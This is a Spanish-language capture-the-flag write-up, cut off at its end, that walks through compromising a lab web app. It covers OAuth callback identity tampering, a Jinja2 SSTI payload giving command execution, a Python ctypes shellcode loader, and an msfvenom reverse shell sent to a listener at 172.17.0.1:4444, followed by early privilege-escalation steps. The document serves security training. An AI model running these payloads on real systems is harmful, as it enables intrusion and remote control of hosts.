La diferencia entre los mensajes permite **enumerar cuentas registradas**. Esto supone un riesgo de divulgación de información; podría facilitar intentos de adivinación de contraseñas, aunque no implica que una fuerza bruta vaya a funcionar. Antes de continuar, analizaré el flujo de autenticación con **Burp Suite**.

También observo la opción **OAuth Login**. Analizaré sus solicitudes y respuestas en Burp Suite para comprender cómo se valida la identidad.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fv453O91lrP4rdtAx7lB7%2Fimg_10_buffered.png?alt=media&amp;token=30b41760-0e81-42c4-99a8-bc180be78494" alt=""><figcaption></figcaption></figure>

En una de las solicitudes veo que se envían el correo y la contraseña. Registraré ese dato como parte del flujo observado, sin asumir que constituye por sí solo un fallo de OAuth.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FDx0HA6AbNQY6Aw1BPv4j%2Fimg_11_buffered.png?alt=media&amp;token=59f14430-ab58-4292-b1a0-ffa34755ab8c" alt=""><figcaption></figcaption></figure>

Después, el navegador realiza una solicitud **GET** al endpoint `oauth_callback`.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F6DpFoD6YhlCn8hGO9HjY%2Fimg_12_buffered.png?alt=media&amp;token=36a3e5bd-368e-472d-bb05-962ac7397c81" alt=""><figcaption></figcaption></figure>

Durante el callback identifico un parámetro de identidad que puedo manipular antes de que el servidor complete el inicio de sesión. Al sustituir el valor asociado al correo por el de **admin**, probaré si la aplicación confía indebidamente en información controlada por el cliente. Si la sesión cambia de usuario, el fallo será de **autenticación y control de identidad**, no una propiedad general del protocolo OAuth.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FmcjdLEs86P8WmMBxQ7Go%2Fimg_13_buffered.png?alt=media&amp;token=6bc909dc-e8c3-47ed-8ed3-7672ec4241a5" alt=""><figcaption></figcaption></figure>

Ahora le damos `Forward` y nos aparecerá lo siguiente.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FBfFNNq6SWtijHwPKuDYp%2Fimg_14_buffered.png?alt=media&amp;token=8d66227e-4871-49b9-8256-8994c5186894" alt=""><figcaption></figcaption></figure>

La respuesta me dirige a **`admin_dashboard`**. Continúo la interceptación con **Forward** para confirmar si el acceso se mantiene.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FXM9kM1OAVGSQD9darOV3%2Fimg_15_buffered.png?alt=media&amp;token=54739d4a-4ca3-4b67-8841-3f26c856032b" alt=""><figcaption></figcaption></figure>

La aplicación muestra ahora funciones propias del panel administrativo. Esta prueba evidencia una **suplantación de identidad** en el flujo del laboratorio. Analizaré primero el campo **Search**:

* Primero pruebo una posible **inyección SQL** con `' OR '1'='1`. La respuesta obtenida es la siguiente:

{% hint style="info" %}
The item with ID ' OR '1'='1 is not found.
{% endhint %}

En los campos de más abajo tampoco parece funcionar.

* Después pruebo una **inyección HTML** con `<h1>hello</h1>`. No observo que el navegador la interprete como HTML en esta respuesta; esto no descarta fallos en otros contextos.
* También pruebo un payload de **XSS** mediante `<script>alert('XSS');</script>`, sin observar su ejecución en este punto.
* Finalmente pruebo una posible **SSTI (Server-Side Template Injection)** con `{{7*7}}`. El servidor devuelve el resultado **49**, lo que indica que la expresión se ha evaluado y justifica investigar el motor de plantillas.

{% hint style="info" %}
The item with ID 49 is not found.
{% endhint %}

Para determinar el alcance de la **SSTI**, consultaré referencias como [PayloadsAllTheThings](https://swisskyrepo.github.io/PayloadsAllTheThings/). Las pruebas siguientes son compatibles con **Jinja2** y permiten investigar si la evaluación de plantillas alcanza ejecución de código (**RCE**). Conviene confirmar el motor y el contexto antes de atribuir una tecnología únicamente por un payload.

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

La respuesta mostrada contiene un **trollface**. Algo similar ocurre al probar ciertos comandos como `whoami`, lo que sugiere que algunas utilidades están reemplazadas o alteradas en el entorno.

> \[!FAIL] The item with ID ⣿⣿⣿⣿⣿⠟⣋⣭⣭⣭⡭⣭⣍⣉⣉⣉⣭⣭⣭⣭⣍⣙⣛⡛⠿⢿⣿⣿⣿⣿ ⣿⣿⣿⡿⢃⣾⣿⣟⡯⡳⣯⣻⣶⣾⣟⢷⣾⣿⣿⣿⣿⣿⣿⢾⣷⣦⣍⢻⣿⣿ ⣿⣿⡿⢡⣿⣿⣿⣿⣿⠾⠛⠛⢛⡛⠿⣿⣿⣿⣿⣿⣿⠿⠿⢿⣾⣿⣿⡄⢿⣿ ⡿⠫⣠⡬⠛⠛⠿⢽⣧⣬⡤⢄⣬⣍⡓⣈⣿⣿⣟⠉⣀⣤⣤⣤⣿⣿⣿⡽⡦⠙ ⢰⣿⡏⣼⡿⢉⠻⢶⣦⣤⣶⣿⣿⣿⠿⢿⣿⣿⣿⣄⠻⢿⣯⣉⣡⡶⣶⣽⣿⡇ ⡈⢟⢧⣱⣶⡈⠿⣶⡄⣉⣛⠚⠿⢧⣸⣭⣭⣽⠿⠿⣃⣤⣽⣿⠟⠄⢹⣳⡗⣰ ⣿⣦⡉⣾⣿⣷⣄⢢⡄⠈⠛⠻⠷⢰⣦⣬⣍⢉⣉⡈⣉⣩⡍⢴⠆⠆⢸⣿⢠⣿ ⣿⣿⣷⡘⢿⣿⣿⣦⣁⠿⣿⣶⠆⣤⣀⣉⠉⠈⠉⠁⠈⠉⠁⠄⠄⢀⢸⣿⢸⣿ ⣿⣿⣿⣿⣦⡙⢟⡿⣟⡷⣬⣉⡘⠿⠿⣿⠄⣿⣿⢀⣶⠆⡶⠠⠇⣂⣾⣿⢸⣿ ⣿⣿⣿⣿⣿⣿⣶⣬⡑⠫⢷⣻⡽⣻⡶⣶⣶⣶⣶⣶⣶⣶⣶⣾⢟⣿⡿⣿⠈⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣬⣙⠻⠶⣿⣿⣭⣿⣶⣶⣶⣾⣿⣿⣽⣾⡿⢁⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣭⣉⣛⣛⠛⠿⠿⠟⣛⣋⣴⣿⣿ is not found.

Sin embargo, con `ls` sí obtenemos una respuesta que contiene nombres de archivos y directorios.

{% hint style="info" %}
The item with ID assembly dashboard is not found.
{% endhint %}

Ejecutaré `ls -Rla` para enumerar el contenido de manera recursiva, con permisos incluidos. Esta información ayuda a localizar archivos y comprender la estructura del entorno. Cuando sea posible, también revisaremos el código fuente de la aplicación.

```python
total 32
drwxr-x--- 1 wilson wilson  226 Aug  2 21:58 .
drwxr-xr-x 1 root   root     40 Jul 31 17:46 ..
lrwxrwxrwx 1 root   root      9 Aug  2 21:58 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 wilson wilson  220 Jul 30 10:36 .bash_logout
-rw-r--r-- 1 wilson wilson   92 Jul 30 10:36 .bash_profile
-rw-r--r-- 1 wilson wilson 3796 Jul 30 10:36 .bashrc
drwxr-xr-x 1 wilson wilson   12 Jul 20 21:57 .local
lrwxrwxrwx 1 root   root      9 Aug  2 21:58 .mysql_history -&amp;gt; /dev/null
-rw-r--r-- 1 wilson wilson  807 Jul 30 10:36 .profile
lrwxrwxrwx 1 root   root      9 Aug  2 21:58 .python_history -&amp;gt; /dev/null
-rw------- 1 wilson wilson 3517 Jul 31 18:55 .viminfo
drwxr-xr-x 1 wilson wilson   86 Jul 30 10:36 assembly
drwxr-xr-x 1 wilson wilson   60 Jul 31 19:38 dashboard

./.local:
total 0
drwxr-xr-x 1 wilson wilson  12 Jul 20 21:57 .
drwxr-x--- 1 wilson wilson 226 Aug  2 21:58 ..
drwxr-xr-x 1 wilson wilson 410 Jul 30 10:36 bin
drwxr-xr-x 1 wilson wilson   0 Jul 20 19:57 lib

./.local/bin:
total 392
drwxr-xr-x 1 wilson wilson    410 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     12 Jul 20 21:57 ..
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 awk
-rwxr-xr-x 1 wilson wilson   1290 Jul 30 10:36 bash
-rwxr-xr-x 1 wilson wilson  39384 Jul 30 10:36 cat
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 cron
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 crontab
-rwxr-xr-x 1 wilson wilson     69 Jul 30 10:36 dashboard
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 echo
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 except
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 find
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ftp
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 gcc
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 gdb
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 git
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 id
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ifconfig
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ip
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ipconfig
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 less
-rwxr-xr-x 1 wilson wilson   1411 Jul 30 10:36 loader
-rwxr-xr-x 1 wilson wilson 142312 Jul 30 10:36 ls
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 lua
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 mail
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 man
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 nc
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 netstat
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 nvim
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 perl
-rwxr-xr-x 1 wilson wilson   1120 Jul 30 10:36 php
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 pico
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ping
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ps
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 python
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 python3
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ruby
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 rvim
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 scp
-rwxr-xr-x 1 wilson wilson   1268 Jul 30 10:36 sh
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ss
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ssh
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ssh-keygen
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 su
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 sudo
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 tar
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 tcpdump
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 tee
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 vi
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 vim
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 whoami
-rwxr-xr-x 1 wilson wilson  22816 Jul 30 10:36 xxd
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 zip

./.local/lib:
total 0
drwxr-xr-x 1 wilson wilson  0 Jul 20 19:57 .
drwxr-xr-x 1 wilson wilson 12 Jul 20 21:57 ..

./assembly:
total 20
drwxr-xr-x 1 wilson wilson  86 Jul 30 10:36 .
drwxr-x--- 1 wilson wilson 226 Aug  2 21:58 ..
-rw-r--r-- 1 wilson wilson 261 Jul 30 10:36 addition.s
-rw-r--r-- 1 wilson wilson 515 Jul 30 10:36 execve.s
-rw-r--r-- 1 wilson wilson 566 Jul 30 10:36 lol.s
-rw-r--r-- 1 wilson wilson 254 Jul 30 10:36 loop.s
-rw-r--r-- 1 wilson wilson 261 Jul 30 10:36 substraction.s

./dashboard:
total 20
drwxr-xr-x 1 wilson wilson    60 Jul 31 19:38 .
drwxr-x--- 1 wilson wilson   226 Aug  2 21:58 ..
-rw-rw-r-- 1 wilson wilson   496 Jul 31 19:11 .pwgen.py
-rwxr-xr-x 1 wilson wilson 14594 Jul 31 18:47 app.py
drwxr-xr-x 1 wilson wilson    50 Jul 20 22:42 static
drwxr-xr-x 1 wilson wilson   220 Jul 30 10:38 templates

./dashboard/static:
total 0
drwxr-xr-x 1 wilson wilson  50 Jul 20 22:42 .
drwxr-xr-x 1 wilson wilson  60 Jul 31 19:38 ..
drwxr-xr-x 1 wilson wilson  10 Jul 20 22:42 bootstrap
drwxr-xr-x 1 wilson wilson 140 Jul 30 10:36 css
drwxr-xr-x 1 wilson wilson 216 Jul 30 10:36 fonts
drwxr-xr-x 1 wilson wilson 380 Jul 30 10:36 images
drwxr-xr-x 1 wilson wilson 250 Jul 30 10:36 js

./dashboard/static/bootstrap:
total 0
drwxr-xr-x 1 wilson wilson 10 Jul 20 22:42 .
drwxr-xr-x 1 wilson wilson 50 Jul 20 22:42 ..
drwxr-xr-x 1 wilson wilson 60 Jul 30 10:36 css
drwxr-xr-x 1 wilson wilson 32 Jul 30 10:36 js

./dashboard/static/bootstrap/css:
total 272
drwxr-xr-x 1 wilson wilson     60 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     10 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 136399 Jul 30 10:36 bootstrap.css
-rw-r--r-- 1 wilson wilson 136297 Jul 30 10:36 bootstrap.css.bak

./dashboard/static/bootstrap/js:
total 28
drwxr-xr-x 1 wilson wilson    32 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson    10 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 27871 Jul 30 10:36 bootstrap.min.js

./dashboard/static/css:
total 96
drwxr-xr-x 1 wilson wilson   140 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson    50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 61188 Jul 30 10:36 animate.css
-rw-r--r-- 1 wilson wilson 17780 Jul 30 10:36 font-awesome.min.css
-rw-r--r-- 1 wilson wilson  1940 Jul 30 10:36 templatemo_misc.css
-rw-r--r-- 1 wilson wilson 12047 Jul 30 10:36 templatemo_style.css

./dashboard/static/fonts:
total 428
drwxr-xr-x 1 wilson wilson    216 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson  62856 Jul 30 10:36 FontAwesome.otf
-rw-r--r-- 1 wilson wilson  38205 Jul 30 10:36 fontawesome-webfont.eot
-rw-r--r-- 1 wilson wilson 202148 Jul 30 10:36 fontawesome-webfont.svg
-rw-r--r-- 1 wilson wilson  80652 Jul 30 10:36 fontawesome-webfont.ttf
-rw-r--r-- 1 wilson wilson  44432 Jul 30 10:36 fontawesome-webfont.woff

./dashboard/static/images:
total 1352
drwxr-xr-x 1 wilson wilson    380 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 227000 Jul 30 10:36 bg-about.jpg
-rw-r--r-- 1 wilson wilson 264311 Jul 30 10:36 bg-contact.jpg
-rw-r--r-- 1 wilson wilson 288378 Jul 30 10:36 bg-gallery.jpg
-rw-r--r-- 1 wilson wilson 151612 Jul 30 10:36 bg-homepage.jpg
-rw-r--r-- 1 wilson wilson 250619 Jul 30 10:36 bg-services.jpg
-rw-r--r-- 1 wilson wilson    835 Jul 30 10:36 close.png
drwxr-xr-x 1 wilson wilson    108 Jul 30 10:36 gallery
-rw-r--r-- 1 wilson wilson  10423 Jul 30 10:36 loading.gif
-rw-r--r-- 1 wilson wilson    724 Jul 30 10:36 next.png
-rw-r--r-- 1 wilson wilson   1001 Jul 30 10:36 pattern.png
-rw-r--r-- 1 wilson wilson    726 Jul 30 10:36 previous.png
-rw-r--r-- 1 wilson wilson   1026 Jul 30 10:36 select-arrow.png
-rw-r--r-- 1 wilson wilson  51374 Jul 30 10:36 team1.jpg
-rw-r--r-- 1 wilson wilson  45256 Jul 30 10:36 team2.jpg
-rw-r--r-- 1 wilson wilson  46781 Jul 30 10:36 team3.jpg
-rw-r--r-- 1 wilson wilson   2774 Jul 30 10:36 templatemo_logo.png

./dashboard/static/images/gallery:
total 860
drwxr-xr-x 1 wilson wilson    108 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson    380 Jul 30 10:36 ..
-rw-r--r-- 1 wilson wilson  88357 Jul 30 10:36 p1.jpg
-rw-r--r-- 1 wilson wilson 166742 Jul 30 10:36 p2.jpg
-rw-r--r-- 1 wilson wilson  50664 Jul 30 10:36 p3.jpg
-rw-r--r-- 1 wilson wilson  96063 Jul 30 10:36 p4.jpg
-rw-r--r-- 1 wilson wilson 137929 Jul 30 10:36 p5.jpg
-rw-r--r-- 1 wilson wilson 113157 Jul 30 10:36 p6.jpg
-rw-r--r-- 1 wilson wilson  62189 Jul 30 10:36 p7.jpg
-rw-r--r-- 1 wilson wilson  95517 Jul 30 10:36 p8.jpg
-rw-r--r-- 1 wilson wilson  50034 Jul 30 10:36 p9.jpg

./dashboard/static/js:
total 196
drwxr-xr-x 1 wilson wilson   250 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson    50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 93107 Jul 30 10:36 jquery-1.10.2.min.js
-rw-r--r-- 1 wilson wilson  8047 Jul 30 10:36 jquery.lightbox.js
-rw-r--r-- 1 wilson wilson 16363 Jul 30 10:36 jquery.mixitup.min.js
-rw-r--r-- 1 wilson wilson 58095 Jul 30 10:36 jquery.nicescroll.min.js
-rw-r--r-- 1 wilson wilson  9707 Jul 30 10:36 modernizr.js
-rw-r--r-- 1 wilson wilson     0 Jul 30 10:36 plugins.js
-rw-r--r-- 1 wilson wilson  4113 Jul 30 10:36 templatemo_custom.js

./dashboard/templates:
total 36
drwxr-xr-x 1 wilson wilson  220 Jul 30 10:38 .
drwxr-xr-x 1 wilson wilson   60 Jul 31 19:38 ..
-rw-r--r-- 1 wilson wilson 6894 Jul 30 10:38 admin_dashboard.html
-rw-r--r-- 1 wilson wilson 7590 Jul 30 10:38 dashboard.html
-rw-r--r-- 1 wilson wilson 2372 Jul 30 10:38 home.html
drwxr-xr-x 1 wilson wilson   86 Jul 30 10:38 includes
-rw-r--r-- 1 wilson wilson 1937 Jul 30 10:38 layout.html
-rw-r--r-- 1 wilson wilson  639 Jul 30 10:38 oauth_callback.html
-rw-r--r-- 1 wilson wilson  649 Jul 30 10:38 oauth_login.html
-rw-r--r-- 1 wilson wilson  619 Jul 30 10:38 register.html

./dashboard/templates/includes:
total 12
drwxr-xr-x 1 wilson wilson   86 Jul 30 10:38 .
drwxr-xr-x 1 wilson wilson  220 Jul 30 10:38 ..
-rw-r--r-- 1 wilson wilson  238 Jul 30 10:38 _formhelpers.html
-rw-r--r-- 1 wilson wilson  321 Jul 30 10:38 _messages.html
-rw-r--r-- 1 wilson wilson 2230 Jul 30 10:38 _navbar.html
```

En `./.local/bin` observo varias utilidades con un tamaño similar, de **1116 bytes**, y el archivo **`.pwgen.py`**. El tamaño compartido es una pista de que algunos ejecutables podrían ser envoltorios o imitaciones, pero no demuestra por sí mismo su comportamiento. Copiaré el listado a `local_bin.txt` y filtraré esas entradas para identificar las diferencias.

```python
❯ v local_bin.txt
❯ grep -v 1116 local_bin.txt
./.local/bin:
total 392
drwxr-xr-x 1 wilson wilson    410 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     12 Jul 20 21:57 ..
-rwxr-xr-x 1 wilson wilson   1290 Jul 30 10:36 bash
-rwxr-xr-x 1 wilson wilson  39384 Jul 30 10:36 cat
-rwxr-xr-x 1 wilson wilson     69 Jul 30 10:36 dashboard
-rwxr-xr-x 1 wilson wilson   1411 Jul 30 10:36 loader
-rwxr-xr-x 1 wilson wilson 142312 Jul 30 10:36 ls
-rwxr-xr-x 1 wilson wilson   1120 Jul 30 10:36 php
-rwxr-xr-x 1 wilson wilson   1268 Jul 30 10:36 sh
-rwxr-xr-x 1 wilson wilson  22816 Jul 30 10:36 xxd
```

Al revisar los resultados, algunas utilidades como `bash`, `php` y `sh` tienen tamaños llamativamente pequeños. Esto no confirma que sean falsas, así que conviene inspeccionarlas antes de usarlas. También aparece un archivo denominado **`loader`**, cuyo contenido examinaré a continuación.

**Comando**:

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat .local/bin/loader').read() }}
```

**Resultado**

```python
import sys
import ctypes

def run_hex(hex):
    # Convert the hex from hex to bytes
    hex_bytes = bytes.fromhex(hex)

    # Allocate executable memory
    # Use ctypes to allocate memory with PROT_READ | PROT_WRITE | PROT_EXEC
    hex_func = ctypes.CFUNCTYPE(ctypes.c_void_p)
    hex_buffer = ctypes.create_string_buffer(hex_bytes, len(hex_bytes))
    ctypes.memmove(hex_buffer, hex_bytes, len(hex_bytes))
    
    # Mark the buffer as executable
    libc = ctypes.CDLL(&amp;#39;libc.so.6&amp;#39;)
    mprotect = libc.mprotect
    mprotect.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
    mprotect.restype = ctypes.c_int

    PROT_READ = 0x1
    PROT_WRITE = 0x2
    PROT_EXEC = 0x4
    PAGE_SIZE = 4096
    addr = ctypes.addressof(hex_buffer)
    addr_page_aligned = addr - (addr % PAGE_SIZE)
    size = len(hex_bytes)
    size_page_aligned = PAGE_SIZE * ((size // PAGE_SIZE) + 1)

    if mprotect(addr_page_aligned, size_page_aligned, PROT_READ | PROT_WRITE | PROT_EXEC) != 0:
        raise Exception(&amp;#34;Failed to set memory permissions&amp;#34;)

    # Cast the buffer to a function and call it
    hex_func_type = ctypes.CFUNCTYPE(ctypes.c_void_p)
    hex_func = hex_func_type(ctypes.addressof(hex_buffer))
    hex_func()

if __name__ == &amp;#34;__main__&amp;#34;:
    if len(sys.argv) != 2:
        print(f&amp;#34;Usage: loader &amp;lt;hex string&amp;gt;&amp;#34;)
        sys.exit(1)
    
    hex_hex = sys.argv[1]
    run_hex(hex_hex)
```

El script de Python recibe una cadena **hexadecimal** y la convierte en bytes para colocarlos en memoria. Después utiliza `ctypes` para tratar esa región como una función ejecutable. Es una capacidad muy peligrosa si la entrada procede de un usuario no confiable: permitir la ejecución de bytes arbitrarios equivale a ofrecer una vía de **ejecución de código**. En este laboratorio examinaremos sus pasos:

1. **Conversión de hexadecimal a bytes:** transforma la cadena recibida como argumento en una secuencia de bytes.
2. **Reserva de memoria ejecutable:** solicita memoria con permisos de lectura, escritura y ejecución (**RWX**), una combinación de permisos que facilita ejecutar instrucciones inyectadas.
3. **Ejecución en memoria:** convierte la dirección de esa región en una función mediante `ctypes` y transfiere allí el flujo de ejecución.

Si ejecutamos el script sin los argumentos esperados, veremos su mensaje de uso:

**Comando**

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('loader').read() }}
```

**Resultado**

{% hint style="info" %}
The item with ID Usage: loader \<hex string> is not found.
{% endhint %}

El script solicita bytes en formato hexadecimal. Como prueba controlada del laboratorio, generaré un payload de **reverse shell** codificado de esa manera y prepararé un listener para observar si el `loader` lo ejecuta.

Primero nos ponemos en escucha.

```bash
❯ nc -nlvp 4444
listening on [any] 4444 ...
```

Luego usamos `msfvenom` para crear el payload de la siguiente manera.

```python
msfvenom -p linux/x64/shell_reverse_tcp lhost=172.17.0.1 -vvv lport=4444 -b "\x00" -f hex
```

**Resultado**

```js
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 4 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=17, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of hex file: 238 bytes
4831c94881e9f6ffffff488d05efffffff48bb84828ffa2912cb7d48315827482df8ffffffe2f4eeabd7634310941785dc80ff618583c486829ea68503cb7cd5ca061c43029117aeda80ff431195357b4ce5db711dce0872e8b4a2b05a7052e6ebe1d55a7acb2ecc0b68a87e5a429b8b878ffa2912cb7d
```

Con `msfvenom` genero un payload para **Linux x64** que establece una conexión saliente hacia `172.17.0.1:4444`. La opción `-b "\x00"` solicita evitar bytes nulos y `-f hex` imprime el resultado en hexadecimal. Que el generador acepte una opción no garantiza que el payload sea compatible con cualquier proceso o contexto.

Lo inyectamos en el servidor.

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('loader 4831c94881e9f6ffffff488d05efffffff48bb84828ffa2912cb7d48315827482df8ffffffe2f4eeabd7634310941785dc80ff618583c486829ea68503cb7cd5ca061c43029117aeda80ff431195357b4ce5db711dce0872e8b4a2b05a7052e6ebe1d55a7acb2ecc0b68a87e5a429b8b878ffa2912cb7d').read() }}
```

La conexión de retorno confirma que, en esta prueba, conseguimos ejecutar el payload a través del `loader` y obtener una shell.

```python
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 56958
```

Ahora identificaré el usuario efectivo, sus grupos y la dirección IP para conocer los privilegios y la conectividad de esta sesión.

```bash
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 56958
whoami
wilson
id
uid=1003(wilson) gid=1003(wilson) groups=1003(wilson),101(mysql)
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
14: eth0@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever
```

## <mark style="color:green;">Escalada de privilegios</mark>

Antes de continuar podemos mejorar la interacción con la shell. En mi caso utilizaré **pwncat-cs** para gestionar una nueva sesión; esto facilita varias tareas de postexplotación, pero **no garantiza por sí solo una PTY completamente interactiva ni evita todas las desconexiones**.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fmr0N4nmxKlIFF9E0cibh%2Fimg_16_buffered.png?alt=media&amp;token=f0139cde-f617-4b09-bcb4-bd26bdfed284" alt=""><figcaption></figcaption></figure>

Pwncat-cs ofrece módulos y gestión de sesiones. Al ejecutar `id` aparece un grupo interesante que merece investigación:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Frt8oh7vqnVwHpks9jowg%2Fimg_17_buffered.png?alt=media&amp;token=e4fe165f-d72a-4400-ac9d-ce52f9e1c99f" alt=""><figcaption></figcaption></figure>

> En esta sesión, **Ctrl + D** puede terminar el proceso o cambiar de modo, dependiendo del programa que esté gestionando la conexión. Conviene comprobar el comportamiento concreto de `pwncat-cs`.

La pertenencia al grupo **`mysql`** puede ser una pista sobre los permisos locales, pero **no garantiza acceso automático a todas las bases de datos**. Para conectarnos a MySQL necesitaremos las credenciales o mecanismos de autenticación adecuados. En el directorio personal de `wilson` observo una carpeta de la aplicación y varios archivos.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F0m4om9mcxAOh6FTPV8ly%2Fimg_18_buffered.png?alt=media&amp;token=c7ae3128-77a8-4ad3-8559-fb24aacf1a39" alt=""><figcaption></figcaption></figure>

Encuentro un archivo oculto llamado **`.pwgen.py`**, que descargaré con las funciones de transferencia de archivos de pwncat-cs.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FIHfo6MvHtxgIAl8eJ5nU%2Fimg_19_buffered.png?alt=media&amp;token=64018fe2-3a4e-4b38-b324-336e90a3958e" alt=""><figcaption></figcaption></figure>

Este script parece construir cadenas con un patrón similar a `n.apellido@buffered.dl_000123`. Lo conservaré como una pista para las siguientes pruebas. Después inspeccionaré `app.py` para buscar parámetros de conexión a MySQL.

```bash
grep MYSQL app.py
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FVgVqMQV1yU6P476uWkV1%2Fimg_20_buffered.png?alt=media&amp;token=bc191229-b7ba-489b-8349-032b81b0ebef" alt=""><figcaption></figcaption></figure>

El código revela unas credenciales de base de datos que intentaré validar dentro del laboratorio.

```js
